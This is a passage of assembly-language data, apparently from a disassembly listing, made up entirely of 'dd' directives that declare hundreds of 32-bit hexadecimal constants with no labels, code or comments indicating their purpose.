		dd 0A3880B2Ch, 11C83948h, 84857F0h, 4C90435h, 1479644h
		dd 0C4DC72E5h, 0E9CC8C41h, 14EDF8F3h, 351D0010h, 0E42E89C8h
		dd 0A549626Eh, 8EBD06CCh, 0CC1E965h, 0B2AC293Eh, 64145540h
		dd 2684D416h, 74087C0Ah, 2E6D6076h, 0BF525542h,	0B92274h
		dd 282FA531h, 0FEB0B5DEh, 0F9059907h, 30E06F5Fh, 0C0979E02h
		dd 84B22E80h, 0C802C9FBh, 0EBAAF668h, 558D6030h, 0F09A3Fh
		dd 5209ED2Fh, 3B56DAF0h, 0DCE24F00h, 0EF6840BDh, 0F6A73B2h
		dd 1FC8EC65h, 18B7ED40h, 6C08359Ch, 47FAC06h, 9513F422h
		dd 0D3803368h, 2040B4E0h, 8EE8A08Eh, 78A64996h,	5C347612h
		dd 0CD18402Ch, 0C9F4741Fh, 0FEE7AA2Fh, 38810054h, 37ADF358h
		dd 0B52CF10Ah, 0C283D068h, 88CE1CDDh, 73E35895h, 534118F9h
		dd 0FF6D216Bh, 8E04B171h, 310CC0F0h, 2BC894CBh,	0E0EE75C0h
		dd 0D65E02CAh, 78A09A96h, 1D175040h, 0D40E9326h, 510A4887h
		dd 5380ACCAh, 4BDA92D5h, 655D383Fh, 0A5865080h,	84A2EAE0h
		dd 349FF31Dh, 0FA03FF80h, 185C64F7h, 411254AAh,	27009B4Fh
		dd 0A54ED985h, 32EE29h,	2B0896Dh, 0DB58A167h, 0BD1C3348h
		dd 84EF4AC0h, 9480D21Dh, 439EF286h, 0E13500C8h,	54A74275h
		dd 80C03449h, 80726108h, 3DB4004Fh, 41834B47h, 5B2973ACh
		dd 0C100C029h, 0A1F86414h, 209A1203h, 0AE3C01AAh, 2072E480h
		dd 832C02A8h, 1DCEC31h,	77AD4DE2h, 0D6E83F36h, 12DD5C40h
		dd 29C14F90h, 0BE343132h, 0EB3840E2h, 194F653h,	0EE4CB008h
		dd 0E01777CCh, 20C1BA1Ah, 0ED298133h, 638AE024h, 0AF76494Bh
		dd 0FF55100h, 2F537C06h, 0EF743CDDh, 0FC884FA8h, 0F1103012h
		dd 3FDE8E29h, 71CD94Ch,	95A83052h, 487804C8h, 0C498CE34h
		dd 0A030E096h, 4D0F3CDEh, 0BF77063Bh, 4460A316h, 23A70CE4h
		dd 0E03C31D3h, 0ACCF321h, 34D7001Dh, 14544CCBh,	1048E63Ah
		dd 7D4300B8h, 0E011466Ch, 30340F35h, 52D6F2h, 0EC866000h
		dd 0E94C10EEh, 6B561080h, 87846480h, 5308496Ch,	3EA07Eh
		dd 9D570A34h, 161398FFh, 3C0F4C58h, 8E03309Ah, 84606413h
		dd 53DA381Eh, 0B1BA9683h, 867003C8h, 385A0887h,	0D575E815h
		dd 0D01F00ACh, 8C597AC7h, 123B00C9h, 9B224A2Bh,	100CD2AFh
		dd 80EE3D82h, 6F0A0106h, 4E6BD58Fh, 78A89834h, 0C1DC7371h
		dd 1BA00751h, 0CA7AF08Ch, 0C89B4707h, 8740A72Fh, 20817014h
		dd 40CCE66Dh, 9004E99Ch, 5B0A242Ch, 7BFD08B0h, 652FBE60h
		dd 40A75855h, 2EC0EAE3h, 77009C4Fh, 67AB86B0h, 158F63BAh
		dd 0D4767F13h, 69A53300h, 1EFA275h, 0F4F6A729h,	86BC3A78h
		dd 6D02100h, 2AF2D9FEh,	0C81F5C04h, 5731A304h, 127C8111h
		dd 718870B4h, 0AA8C2E13h, 2DCCC403h, 0B82BD87Dh, 62F0FBh
		dd 309224FAh, 0C91C6395h, 0BA4F1B1Eh, 5509FC7Fh, 4137BF8h
		dd 0F08C02A8h, 0D8F60218h, 0E0D5813Eh, 100C64E4h, 10149422h
		dd 82B4960Bh, 6589BA31h
		dd 30A6FC80h, 50C035E3h, 17077316h, 0FF29CAD7h,	0C81915F0h
		dd 64126D1Fh, 325547CCh, 44853458h, 5410D090h, 0D23053F8h
		dd 65BA18BEh, 0DCA0D092h, 4001FF23h, 0D7556B2Eh, 0FC88A518h
		dd 192F00B9h, 0DBE48225h, 9600240Bh, 0C9553D73h, 0CB08714h
		dd 636D626Fh, 9807BD78h, 0C8DA28B1h, 0DC94A14Bh, 0CE7CAA6h
		dd 0EC904838h, 641634D8h, 1001117Eh, 2AE43ACFh,	0F63EBAD4h
		dd 13CCEEE0h, 0D24A9Ch,	7B103450h, 0C453F8FFh, 0CCA18420h
		dd 0E5688165h, 9E788542h, 0FCC02B52h, 97BD26h, 0C6302973h
		dd 3195D792h, 7C52EA12h, 37C0C05Dh, 354CBC70h, 30CD4E33h
		dd 447B6308h, 8173023h,	90034B5h, 367E7B1Eh, 9284265Ch
		dd 9D948360h, 0C805D05Eh, 30B87179h, 32EB8C06h,	5082E2C9h
		dd 256010D5h, 30312048h, 4A21804h, 830EE8FDh, 2078324Fh
		dd 64FD5B86h, 0EA189A78h, 0D9D96802h, 141948C8h, 0A8484200h
		dd 2E4B739Fh, 0E8199C4Eh, 0FC18FA68h, 0E77E879h, 0A865448Ch
		dd 0CE77500h, 8220D7Ah,	0A82758F8h, 8CCC9C44h, 6B7B6C04h
		dd 0A0382F30h, 0B27B0300h, 7663CE9Eh, 822A1F38h, 0B9628813h
		dd 3E020424h, 0E8F5FE34h, 1B27DACh, 1E06C15Ch, 600EAC2Bh
		dd 7B0BEE39h, 3C811A4h,	0F853584Bh, 78404Ch, 6D9E049Bh
		dd 2061FE7Dh, 0C7121104h, 2F8752CBh, 94F2CA30h,	0C5720EDEh
		dd 63A02517h, 2F8D2BD1h, 9A73B00h, 2A489088h, 89400024h
		dd 7A0A78C0h, 53004FCDh, 4DED7471h, 30482Ch, 0D3999755h
		dd 0F7C9D11Bh, 0D649F12Eh, 76A3183Ah, 132E620h,	4BAC54D7h
		dd 0F09CEAB6h, 133BF314h, 710B00B4h, 4C2F9E01h,	2C275274h
		dd 19D38701h, 0CFC99D1h, 0CCEC89BEh, 0D60151D7h, 1922EF7h
		dd 0F3702D4Bh, 0E9480071h, 0D2F345B6h, 0E703A775h, 31E54A2Eh
		dd 3EC02355h, 0B0D25003h, 3421FDD1h, 890177B7h,	67970008h
		dd 9209008Ah, 0C93BB003h, 55601DF4h, 1CA50829h,	0A07C39F8h
		dd 26FE600Ch, 490FF320h, 83A8B94Dh, 388EC72h, 59553698h
		dd 4100127Ch, 516BBF10h, 0E85029Ch, 8632B142h, 0BAF1AA80h
		dd 67002E77h, 879AA96Bh, 6008C18Bh, 5B99482Dh, 0EC28466Ah
		dd 0EB0AA02Eh, 0A8BF3AA2h, 0BA371300h, 0DA9BE2h, 493990A7h
		dd 61A84E23h, 0F100AF77h, 58F6446Ah, 1D65D42h, 0CFD976A2h
		dd 0F51BCD8Ch, 0DA55D010h, 52C48800h, 7DD34851h, 0C37FDCh
		dd 1E77031Ah, 0B8B66455h, 0A959E903h, 0F841C58Eh, 6FF1EBh
		dd 8ADE2EF3h, 713AF488h, 700DCE00h, 4FC0649Eh, 5FED015Ah
		dd 824BC6C8h, 0D1D260F1h, 45D84600h, 87BC568Dh,	5AD4E54Fh
		dd 1EE904E6h, 0BEC3CE1Ch, 4BC7BDC0h, 198838A1h,	0B881D4BEh
		dd 0B5A47D83h, 0BE42EC35h, 8FB7AD00h, 674BCCB6h, 2EC30240h
		dd 71B0FE1Ch, 802F80C1h, 4256AC21h, 330D659h, 0C06E3A0Ch
		dd 29E0B9AEh, 0AB30F2CEh, 0F50D28B8h, 0F0A5009Ah, 0D61DBFBDh
		dd 0D2707A1Ah, 3B9C8E1Dh, 6D347780h, 6E0E80EFh,	2C8339CDh
		dd 68008EBDh, 0ADFE7677h, 73B9D73h, 6F4E0FF2h, 0A497304Fh
		dd 0A907DF60h, 49C42451h, 0B24869C1h, 4625700h,	0BB18F900h
		dd 8076C002h, 72AD0712h, 71A0A2D1h, 85ACA31Ch, 8E382170h
		dd 0D2AD1EC0h, 26A10124h, 88CC25F0h, 5889838Dh,	889C20BAh
		dd 6A696B1h, 0CC5B9D74h, 9EE02181h, 9361700h, 0F152C32Dh
		dd 46183355h, 93889748h, 0D13DC015h, 6AE4002Fh,	3A82DDDCh
		dd 18F6008Bh, 73D7A2DBh, 0FE7AE225h, 54352700h,	78CCEE5h
		dd 283060CCh, 0F0787F37h, 56052300h, 2E88FEE7h,	0EA682EEBh
		dd 7F040E6Ch, 3BB33D01h, 0CDBDCC32h, 98D639h, 5677A736h
		dd 0B9A67Ch, 2594C2D2h,	9BE98A0Ah, 4E05D100h, 8BBEF903h
		dd 3B610089h, 839DD449h, 48FECBD2h, 5EAFDD1Dh, 726AB5C0h
		dd 0FEA0D7h, 0A38D2C39h, 0D6412644h, 0C736200h,	0B9CC6980h
		dd 0E4B6030Ah, 7AA8F28Bh, 0F7DB00EDh, 1EF342FCh, 3EF55400h
		dd 0D580AD64h, 76E83950h, 0FD7E3B8Bh, 0DB39A681h, 6022DCC1h
		dd 110E2B00h, 0A5EE456Bh, 0B2CD00AEh, 29339A4h,	633B78CFh
		dd 0C21F8060h, 0C816D23Fh, 8330E86h, 0C5636BB5h, 223F483Ah
		dd 45ED80A2h, 3EB94604h, 0C7FB09EBh, 28859EFDh,	0FAC580A0h
		dd 0F7E6DB85h, 95E206EAh, 375DC800h, 0CADECEAAh, 423805DFh
		dd 80B53525h, 416C61B1h, 76865800h, 0AC0A5DD3h,	0E4E5014Fh
		dd 3EF3B324h, 7992F466h, 0B793C500h, 987445AAh,	3DCE0019h
		dd 0AC815F71h, 35F8B518h, 32102C00h, 0E099D989h, 9D5000F1h
		dd 0FD28419Ah, 6F004D20h, 0A0155B6Dh, 3FCD1CACh, 86811797h
		dd 65887550h, 0F908D864h, 1D58C00h, 1C72AB2Ch, 0F3A00084h
		dd 0A717D4BBh, 400E35Dh, 0E1EAC3A3h, 16738CAAh,	0AC79986Dh
		dd 6C4008Eh, 37A164A5h,	33C0BFC8h, 560043AFh, 0CF42DDFBh
		dd 706EBFA4h, 3CBB002Fh, 0E58A6CD5h, 86000EDAh,	9EC3C509h
		dd 5079CFh, 0FD996B9Ch,	0DB02B83Bh, 68F0AC06h, 38DFE6h
		dd 4AA3FE72h, 0B0FA792Ch, 7FF2D606h, 210139h, 75CA5A1Ah
		dd 0F595387Bh, 0F0B45F1Fh, 0DF8BF405h, 0B0D7C880h, 13F900C0h
		dd 5FCC762Fh, 0A9754B96h, 11EE2E00h, 7CAB4DA2h,	1529001Eh
		dd 0A35781F5h, 4C00E07Fh, 694E9C14h, 0E01A0799h, 66A01A7h
		dd 68B7B3FAh, 38D1301Dh, 53DC8D00h, 954CAC57h, 5DEA00D8h
		dd 0F5021F63h, 3F3A1C66h, 0CA2993F9h, 0C3073507h, 67D79CB0h
		dd 10BE4CCh, 4DB6906Bh,	0FC2BDF13h, 0AB0782A5h,	0A37841E4h
		dd 0C8A7BD0h, 0D0240547h, 42CC48Ch, 0C0EC12ECh,	0C5A3EBE7h
		dd 7870B503h, 0A9149EFCh, 2860814Ch, 0F6A70008h, 3025374Eh
		dd 0F4004038h, 699360A1h, 711BFA03h, 77650381h,	21DB519Ah
		dd 0E0BFB4FBh, 3F5BD127h, 769EB500h, 0DBF48052h, 92D83E40h
		dd 0D57B005h, 0FEE98097h, 0ED3B96C7h, 580074D2h, 28863526h
		dd 22147Ch, 0BABB54BFh,	0ED77E81Ch, 0ACD89001h,	3D16CB50h
		dd 27DC4h, 0DBA8A3E7h, 20D75117h, 9DBC4400h, 0D04522F8h
		dd 604EC58h, 0E588A84Bh, 0B5006060h, 96870CBDh,	75A49CEh
		dd 0FD54A4AAh, 0FF1DE08Dh, 7000E667h, 2877593Ah, 0B049B6FCh
		dd 56C00F7h, 0D7359DC1h, 5C07ACC0h, 19AAB52Bh, 79A8DB00h
		dd 67FD1921h, 0FCEC3082h, 5A011556h, 37F3DCCEh,	89DD1073h
		dd 0D4400921h, 0B3D30h,	248A4A66h, 0E98CED94h, 95D72200h
		dd 0F75834B9h, 0E3643EC3h, 20683C00h, 0F94213B3h, 676BC818h
		dd 7F728310h, 19700676h, 0B88B5C47h, 2B4EE900h,	93BAA237h
		dd 0A77200F0h, 0AAAF74B7h, 5E0A16CDh, 0B87CE48Ch, 69677D80h
		dd 4A47506h, 135D9A1Ah,	0CB30D016h, 0EC0FF08Ah,	8F7F17h
		dd 1E8D1A18h, 8E2E009Ah, 9F9CB04Ah, 0AF260C6Dh,	0BF00B77Bh
		dd 0CC42E722h, 23B2003Ah, 1E0AC0D9h, 12B0FCF8h,	0D5AA1124h
		dd 9B6E4D00h, 28E7F9AEh, 0CC8AA1h, 7832A758h, 0F14EE1C7h
		dd 39030D72h, 4A3610BEh, 0E081C3B5h, 78119F8Dh,	0BC21C049h
		dd 5B7996BAh, 97637C00h, 7F355E60h, 992B0A06h, 8030304Eh
		dd 446151BAh, 7854EBA5h, 18307680h, 6C25212Dh, 0A098001Fh
		dd 0C90B9656h, 0D45C022Eh, 0BEE6001Ch, 4494708Ah, 7F990083h
		dd 3098D64h, 9A002610h,	0EDBEDBBBh, 24DCD6h, 5473814h
		dd 86AAFA93h, 9CEA6A07h, 0A1604BDDh, 0A64D9Ah, 8A32D403h
		dd 0FF4237A8h, 2F53D300h, 2613295Eh, 2B11002Dh,	3B1FE079h
		dd 7A0B1D56h, 800319C2h, 7DEB0D68h, 0AE3D0072h,	0C1BBA8Fh
		dd 3900E694h, 194BDCB7h
		dd 416475h, 0EFAB9C4Ah,	0C8B1E40h, 25E830E9h, 3000D471h
		dd 0C36BB868h, 0A7C517h, 60FCDD72h, 0F7A637EFh,	87987304h
		dd 0D5C01C18h, 72DFE36h, 0A8052846h, 0A111F33Ch, 65D88E00h
		dd 4031ED9Dh, 0A9320F15h, 62A085AEh, 0AA455CAFh, 71B02754h
		dd 7ED1251Ch, 0E6B8420Fh, 181372h, 0CD349826h, 0E301A54Ah
		dd 8D312561h, 20807BA7h, 294922E6h, 0F10060CBh,	0E7356ACEh
		dd 3FA9A4A5h, 3F12AFCFh, 0E2F0474Ch, 224F8029h,	445815FEh
		dd 34AA0E5Bh, 0DB466530h, 9457080h, 0FD31CF42h,	0D90BCF00h
		dd 0C60086B3h, 7515BCAFh, 1EBAE44h, 0CF859274h,	0F5176F2Bh
		dd 0D43DE434h, 15085F00h, 0BD64B703h, 59D13EF4h, 0CEEA450Ch
		dd 5630AD59h, 1AC3C836h, 4F810051h, 0BEA75F27h,	0B3000868h
		dd 9F7CA1F1h, 0FDD898h,	5C0184DBh, 0C435A7BBh, 68A56206h
		dd 480D4F2h, 745263Bh, 0C85C9090h, 0EB03DC05h, 1BB42A4Ch
		dd 8671A8D8h, 933F0001h, 549D2F9Fh, 0FD0CD90Dh,	38B264E8h
		dd 751000A0h, 89A6950Ch, 4ECA8E6h, 0EA5D8300h, 0BBACE8F0h
		dd 0B95360ADh, 0DD0F2A0Eh, 0DB316800h, 0DABDB638h, 6A8B006Fh
		dd 651FFC53h, 0D8023F05h, 8D46D557h, 0F7D8A082h, 0E55F0Ch
		dd 0AA473CA1h, 0BE4DC396h, 624EC600h, 0E4CAD663h, 0C361237h
		dd 21040D7h, 54A5436Dh,	0F0201B00h, 0D3A95BEEh,	10F60EA0h
		dd 0AC2C8ED1h, 11005561h, 611FC55Ah, 12F86EBDh,	21A0D481h
		dd 32364018h, 64AF03F8h, 1863F39h, 24B42069h, 0E0D2751Eh
		dd 0C03D170Bh, 0F2E300A0h, 26EB3282h, 62EF01CBh, 0AD385184h
		dd 0AC48248Bh, 0C9AE8000h, 3F0B107Ah, 4D36EC37h, 580A482Bh
		dd 8FB45A8Eh, 0F5E309A9h, 0AC885971h, 90016CD6h, 0CD9902A4h
		dd 0A0FE0761h, 6831E3E4h, 4FD007C4h, 2FBE8FE8h,	0CEF59F80h
		dd 940657ADh, 66CC537Fh, 2B280031h, 0C5BA3667h,	0DD74DAEAh
		dd 0F5A38F00h, 8D032CBDh, 4AFA3084h, 63765A90h,	4559A903h
		dd 0E049E242h, 0CCF1AFh, 81C56C1Ch, 0B5D80F94h,	0EE1FB800h
		dd 0B737A363h, 74E70177h, 33AA80D9h, 789C508Dh,	8C01FCF0h
		dd 0BF917D76h, 3C30BC61h, 0FCA665h, 1FCB086Bh, 9405D336h
		dd 0FBF01700h, 0A010222Eh, 4A51290Ch, 403B9EA8h, 0DA13C4CBh
		dd 0EB0683FFh, 8980BB25h, 74A52421h, 0BF0503E1h, 8D9AE63h
		dd 4B8DD4BDh, 8E82B4A8h, 0B6FA2200h, 0F70AE695h, 5CC9128Fh
		dd 6E4C0213h, 0F1C0811Ch, 532ECBD1h, 140037B5h,	9E737F19h
		dd 4B63095Ah, 2C10E8FCh, 32009A2Bh, 0D5CF9D94h,	98F0F4C8h
		dd 1E210008h, 93DEBF2Fh, 0E8189832h, 1CD6CA35h,	28BF862h
		dd 5DAF7821h, 7864CF05h, 73D0812h, 0E02DE400h, 5C064028h
		dd 0C413B3D0h, 579006D5h, 42710804h, 9EDAC500h,	728678D1h
		dd 0E8A0E4EEh, 15AD2A04h, 0C4E100E8h, 2F91BD88h, 0FA00A269h
		dd 938045CAh, 0FCD03D94h, 92BF0049h, 4CDC1B09h,	0C673D4ADh
		dd 0CB912E60h, 7CFB804Eh, 64FA0BE8h, 4480D8BFh,	8A9B120Ah
		dd 5300A67Bh, 35FD5EEAh, 1331F5E8h, 50994C5h, 272BF637h
		dd 0C0FACCh, 87035F3Ah,	0E12445CBh, 808CB8DAh, 7C29F1h
		dd 0C914DE6Fh, 623BD794h, 0AE9DB800h, 57BD770Ch, 0AF3724D2h
		dd 8B720ED0h, 0BA2AA7C3h, 591BA388h, 0A3A38h, 0E8B836BFh
		dd 24567F1Fh, 8F846751h, 20721BE4h, 2A65B73Ch, 105F0B00h
		dd 3DCA75F1h, 72AA01F7h, 0CF8478D4h, 80DF210Eh,	1A1A048h
		dd 0CF19806h, 0C0E302E5h, 51077EB1h, 9A537986h,	1116698Ch
		dd 0D18E89h, 84DFE27Eh,	1518DE6h, 7149CEEDh, 809E07A0h
		dd 0D17E2C31h, 138EDD50h, 5FB5C873h, 53E645ECh,	0D214059Dh
		dd 74CC9FEh, 95C3F0BCh,	0EF00C939h, 0E1CF36C7h,	0CABE086h
		dd 88B65671h, 54048B39h, 8F33972Eh, 0A1183490h,	3AC000A8h
		dd 6A0E489Bh, 9E13D079h, 140E2A7Ch, 843632Eh, 5331008Ah
		dd 0B71C4DBh, 301B114h,	0D5A487D3h, 0E4423AA2h,	0BE62237Eh
		dd 0F6640A90h, 2EC67503h, 4E285h, 9DAEFF89h, 0E7BA1405h
		dd 0D2EB6B00h, 972C69DCh, 1F5509FDh, 60058782h,	3C55C22Bh
		dd 0BC845881h, 711CDC9Eh, 0C2567700h, 34D121E2h, 0B2700C0h
		dd 721FBD62h, 78700250h, 0D08D7E24h, 64328840h,	66ED0129h
		dd 1FEFA00Fh, 0E3822AAh, 47DFDACCh, 0C940CFACh,	5BFD0Ah
		dd 0B76A3D0h, 19E21682h, 0B653C1C0h, 3BEBD5h, 230A6AC3h
		dd 5B5A76B4h, 541E6700h, 0E86CEAFAh, 0F23009CFh, 0E400AFB7h
		dd 856A2992h, 651D5101h, 0FE0E0553h, 543546DCh,	0B509C5Eh
		dd 8B95C620h, 3B9FC023h, 80DF2289h, 9CBE7831h, 6BC4FA95h
		dd 4008EAE8h, 0CE5201D6h, 72D3AFBDh, 0FC30378Ch, 470A6FB1h
		dd 7E16181h, 0D870BE06h, 8E15CBA7h, 0B909454h, 18B0D435h
		dd 845B94h, 0E4C188CAh,	6053EF0Bh, 28008892h, 0EDA90FD6h
		dd 0AF87E5h, 0CA7D8334h, 5122393Ah, 6480C826h, 0C8DC7F43h
		dd 98FFCC54h, 41898ACh,	0FCCEFE73h, 0BB60C7D8h,	7F0A4809h
		dd 38A501F3h, 628E4576h, 0D838C8h, 73B7B306h, 2ED1F65Bh
		dd 40F4C2D0h, 0A8B57B8h, 0D0A4FFECh, 3C0FD5F6h,	83ED6B55h
		dd 0F86D6597h, 1D81746h, 0AA16BCB1h, 0DC260F74h, 37F2804Fh
		dd 49B5C001h, 7345D857h, 2A9E1AF4h, 0E19CF00Ch,	0F48D140h
		dd 745F0017h, 5CE1EE3h,	0F100D85Bh, 1A9EECDh, 3F28CAE7h
		dd 0DD1713BDh, 50A800AAh, 7BF22FF0h, 654B380Fh,	8FEE60BEh
		dd 0AE330FFh, 397D1B60h, 766C0084h, 0A00EA678h,	0E1F2AD30h
		dd 5BD77F1Bh, 5E839h, 6A069330h, 580D5378h, 5F10A021h
		dd 0AF8400B2h, 2A6DAD18h, 0AC723A4Ah, 53DDC780h, 3BE96166h
		dd 2B4430B0h, 3D512E86h, 9E02008h, 0D3092485h, 0C4051881h
		dd 2C9C2378h, 0FF00FABAh, 0BD339F9Bh, 6503143Ch, 0F7003C8Eh
		dd 179D24C1h, 8500ABECh, 0AECD5A01h, 1FED7EE8h,	0C077562Ah
		dd 870272DEh, 8612CADBh, 60007CECh, 24F50B4Bh, 277D4A26h
		dd 0E9CA7050h, 6E000A1Ah, 2834393Dh, 0F28A875Ch, 1CF7A3Ah
		dd 4ECA6D31h, 60415A84h, 7300812h, 0AA38416Bh, 206103A8h
		dd 6AB6549Dh, 5B341926h, 2D129E24h, 44226400h, 1F3B51C9h
		dd 83655EC5h, 5071B67h,	1741311Fh, 208934C0h, 0EED82730h
		dd 0EA75F7h, 0B81EE47Fh, 0DB456D53h, 52B01A02h,	5AF05703h
		dd 90465440h, 0BF7200D4h, 0E56B4162h, 31002C75h, 33F8AC48h
		dd 25DCDAC2h, 0BA5CB31Ah, 0AAE08500h, 4783D8Ah,	58AFD421h
		dd 0E2E89147h, 0AD998003h, 0E3780A72h, 0AC731F4Fh, 0A0E8C327h
		dd 0C0956285h, 36B01030h, 0E8ADD42Eh, 3D724440h, 13940067h
		dd 0D50B80EFh, 3F0198B8h, 17098F85h, 4420A9DCh,	0D7070C3Ah
		dd 40C14341h, 7F2032FFh, 484AAE28h, 0F81944h, 88CB6841h
		dd 49D070D1h, 559C1300h, 309AA0C1h, 82531F83h, 0FD0A61Dh
		dd 300C6E3h, 0F5199136h, 0BB9D2707h, 4092CC12h,	9CD8CB22h
		dd 4788A4h, 0DBA21CCFh,	7B48122Ah, 0FFE1EC00h, 0A649D49Eh
		dd 0B68A0497h, 81BC2DB1h, 73144AA0h, 7AA11E5Ch,	8AC5CE40h
		dd 0DD953Fh, 4D8D552h, 0A7191E1Ch, 0F1E11705h, 0C8C0C333h
		dd 0DEA27A5h, 3607C167h, 5746E8E1h, 45447D03h, 90F52864h
		dd 0C7CC52h, 0D0336ECAh, 36F01AFBh, 20C98726h, 0FD24800h
		dd 0F8E4C2h, 5F53D425h,	0E388BB4Fh, 8701D009h, 3DE44418h
		dd 4AE01BF8h, 0CEE5705Ch, 131D2B3Ah, 0C1002411h, 28CD864h
		dd 0ACA84D30h, 746D0300h, 5A788079h, 5B041709h,	0CAB082CDh
		dd 39F0C6AAh, 8B8EA191h
		dd 0A6202559h, 72C53F3Eh, 0E2C3AB14h, 6C8F0340h, 0E046201Ah
		dd 7D2C03Ah, 0EA57744Bh, 31D54796h, 28AF83FCh, 9DBC0058h
		dd 4B1E8579h, 0BD173C78h, 0AA867F80h, 0AFDC461Bh, 9700D8E8h
		dd 3173E70Ch, 0B06BFC12h, 20245860h, 97AB171Eh,	418C218Dh
		dd 0C96BCCA6h, 31CA720Eh, 0BF63A067h, 517A582h,	0AD1B806Ah
		dd 98E8402Ch, 0E1B95B96h, 0A3DACF0Eh, 46F201DCh, 1825458Dh
		dd 5ACDD8h, 0FD865F81h,	9E15A0D8h, 0FE987B00h, 1743DEE7h
		dd 0E90B4872h, 8068182Ch, 98F05BA9h, 0EA12EE4Bh, 24D3AD7Ch
		dd 0CC07C848h, 3DA6008Fh, 6F5845Eh, 112C2B6h, 0DB00EA62h
		dd 0D1DAFC8Bh, 64D41E9Bh, 0BECB870Ah, 28135FA2h, 16007440h
		dd 5184325Ch, 138C52Eh,	854FD021h, 607C0ECAh, 63493F04h
		dd 808839B8h, 10986422h, 18E8121h, 11F7F04Bh, 747AB8E2h
		dd 0CF50BB2Ch, 9F0026B0h, 0B3153085h, 124A51B9h, 441458D7h
		dd 80F873D8h, 8AF938D2h, 98698F2Ah, 2EDFB90Eh, 0F6B020E8h
		dd 3A3EEABCh, 0BF804188h, 0A94B3CC8h, 0C8EBAF44h, 1C01D43Bh
		dd 2B707353h, 2862D836h, 0DDE8B000h, 77B8A2CFh,	31BC7800h
		dd 0BE4F1C24h, 697F0071h, 54B06607h, 88A863AEh,	0E9C0F30Ch
		dd 6125E28Eh, 158B0E87h, 3D60743Bh, 0EB19FC07h,	41473202h
		dd 520AD09Fh, 5EF0C17Ch, 402BA6D7h, 0ECCCDD70h,	6A80451Bh
		dd 18E4AC59h, 0A13600BCh, 1846166Bh, 121828C7h,	0FE29F134h
		dd 320A0077h, 0F7A1788Fh, 300D4BEh, 0BE9CFFAh, 969A718h
		dd 0A09D4B5Fh, 0E8717182h, 90016044h, 0B3882021h, 3AF081B0h
		dd 85C82DC9h, 0D2711418h, 53A65D0Fh, 61EB86DAh,	6FD81319h
		dd 8184C4C0h, 0C80B177Ch, 0F4012CCDh, 0CACE5DF5h, 2C320371h
		dd 7EE9A00Ah, 6C2E8EDCh, 3D2AD982h, 56D7F960h, 1D83EB1Fh
		dd 1AEF7B47h, 89847759h, 9EE0C83Ch, 9F69606h, 9E88A0D1h
		dd 22B65038h, 863CE200h, 930FCB5Dh, 1ABE02F1h, 0ADC48C07h
		dd 0F9009852h, 0A1CCC279h, 9D2109h, 729AFB62h, 2DC10364h
		dd 0A582F091h, 4050C523h, 93F4CC3h, 8ED917D7h, 0F86AC4C8h
		dd 1B0AD00h, 5D64EB25h,	0B81A5E20h, 30C724A0h, 5A1F5342h
		dd 0FDAF01ACh, 79FBFAB0h, 50698Dh, 5D1955DCh, 4D77ABh
		dd 6BF79AE8h, 0BC997EB0h, 63AC8904h, 90A58E92h,	2298CECh
		dd 0AFD5FCDAh, 0D19FA6h, 92165B11h, 777432DEh, 1E08479h
		dd 168D33AEh, 1806334h,	0AA57F48h, 484980F4h, 9E0EBD2Bh
		dd 4C7A6Bh, 7F44C3A1h, 33AB97C4h, 5A9EF09h, 91948B10h
		dd 0E03CAFC8h, 0D26B022h, 4780ECABh, 0C4AE68EBh, 0F10A0088h
		dd 926B4A40h, 0A70BC746h, 80EDE929h, 0AA82724Ch, 0D18400FBh
		dd 198E6C54h, 8F093A80h, 900CD0ABh, 3A7A5234h, 859D7B97h
		dd 59ACDAh, 1862BA5Bh, 34987C98h, 0C0BED917h, 7672D800h
		dd 9CE4457Dh, 0A5AF850Ch, 95AC4519h, 237CB01Bh,	0D0C9EB09h
		dd 0A01C1876h, 6F040283h, 0B28DC6A8h, 0DED7C07Dh, 569BE266h
		dd 0A2028040h, 70EA69Ah, 34DF6055h, 0C5C0008Ch,	0E8863903h
		dd 0AD00EACEh, 50ABFBAFh, 5C9774A8h, 5806EC16h,	406B0E75h
		dd 7FCE4D00h, 0CD357E6Eh, 3CEC728Fh, 8881F7B8h,	45693AFCh
		dd 0B9472AAh, 0ADE201h,	0F429143Ah, 5B47017Bh, 27A00A2Fh
		dd 0DCBE71C6h, 0A862ACD7h, 46EA40A9h, 3647BE8h,	756A1CDAh
		dd 0D4C3AFF1h, 7846978Ah, 0A066781Fh, 0EAAA9F3Bh, 750E55C0h
		dd 0D34A38h, 6D1BFB3Dh,	0C8CF86A2h, 25D05901h, 99549545h
		dd 384C2462h, 56D36D09h, 8A9F6F03h, 0D95CEAC1h,	3CD4317Bh
		dd 0F890C724h, 13880D83h, 0D79D5311h, 0CEFC9108h, 423AAh
		dd 6AE72D97h, 624587Eh,	0E2302FFAh, 430031D2h, 0A2EFF10h
		dd 4C934Dh, 0B8E48CCBh,	52DF207Eh, 1465D224h, 6B01C703h
		dd 44FA9F9Ch, 0F826AF1Fh, 7D1F3460h, 2DE30E31h,	5DA02BBAh
		dd 4DCD4070h, 0BB22120Fh, 870520C6h, 6D4D003h, 33AFF471h
		dd 52005189h, 0E2F5E6DCh, 30A96F7h, 560167D1h, 0A4F45378h
		dd 40B60C94h, 8A28F780h, 9427A47h, 16BA507Fh, 0DEBE9000h
		dd 0FE4E01AFh, 2CB02840h, 0B0239D28h, 7DD8B0D0h, 0E21500E8h
		dd 5648E124h, 0AF25D90Dh, 40F02109h, 0D9BE4380h, 304AAD16h
		dd 393BE4B8h, 0E552CF02h, 0C1671106h, 63D040F0h, 0B313279Ah
		dd 23327410h, 0BB157C00h, 65A4184Fh, 0B33011Fh,	635F401Ch
		dd 8A8BFC4Ch, 2F7558C0h, 0B10905E0h, 282C88h, 6BE62D2h
		dd 4C0037BDh, 8E9CCEFDh, 38BBC0E8h, 43CB08A6h, 0CA9EFE6Ch
		dd 0D9DB1888h, 0D3F6C200h, 0D6DEB63Bh, 7A560202h, 570198ACh
		dd 220470D2h, 0D72774E8h, 2D85DCB0h, 0C8901CAAh, 7700EF38h
		dd 7AEB8113h, 58D8D2DAh, 31C02C07h, 770FFC99h, 66DC40EFh
		dd 37024CF6h, 6287A86Eh, 0E06CC48Dh, 7683E0D1h,	7D170068h
		dd 41E71E01h, 3002F91Ah, 3BD7E03Fh, 80287093h, 975AFh
		dd 88B41D19h, 0EA0CCAA1h, 8DDDF0A2h, 8428A042h,	0A6AC809Dh
		dd 0CBF3473h, 41DD100h,	0C2CD29A3h, 4CCE027Ch, 8D670FF9h
		dd 0F60114C4h, 6F4944F1h, 0F868C205h, 58C8E289h, 0A80F2F61h
		dd 635EC6B6h, 0F291AC3Bh, 0EAD44073h, 9A4312EBh, 77240587h
